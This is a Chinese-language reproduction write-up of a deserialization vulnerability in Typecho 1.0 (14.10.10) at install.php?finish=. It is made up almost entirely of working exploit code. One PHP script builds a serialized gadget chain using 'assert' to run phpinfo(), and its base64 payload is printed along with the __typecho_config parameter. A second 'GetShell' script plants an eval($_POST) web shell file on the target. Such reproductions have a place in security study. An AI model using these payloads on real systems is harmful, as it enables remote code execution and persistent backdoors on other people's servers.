【漏洞复现】typecho_v1.0-14.10.10

【漏洞复现】typecho_v1.0-14.10.10_unserialize

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文章目录

- - 漏洞利用
  - - GetShell

下载链接：https://pan.baidu.com/s/1z0w7ret-uXHMuOZpGYDVlw
提取码：lt7a

首页

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漏洞点：/install.php?finish=

漏洞利用

漏洞利用脚本 phpinfo()信息

<?php//typecho_1.0(14.10.10)_unserialize_phpinfo.php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>

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得到base64编码后的结果

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30

请求体参数是__typecho_config=，上面base64编码后的结果就是该参数的值

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GetShell

payload如下：

<?php//typecho_1.0(14.10.10)_unserialize_GetShell.php
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'file_put_contents(\'123.php\',\'<?php @eval($_POST[shell]);?>\')';$this->_filter[0] = 'assert';}
}class Typecho_Feed
{private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = 'ATOM 1.0';$item['author'] = new Typecho_Request();$this->_items[0] = $item;}
}$x = new Typecho_Feed();
$a = array('adapter' => $x,'prefix' => 'typecho_'
);
echo "<pre>";
print_r($a);
echo "</pre>";
echo serialize($a)."<br>";
echo "__typecho_config=".base64_encode(serialize($a));
?>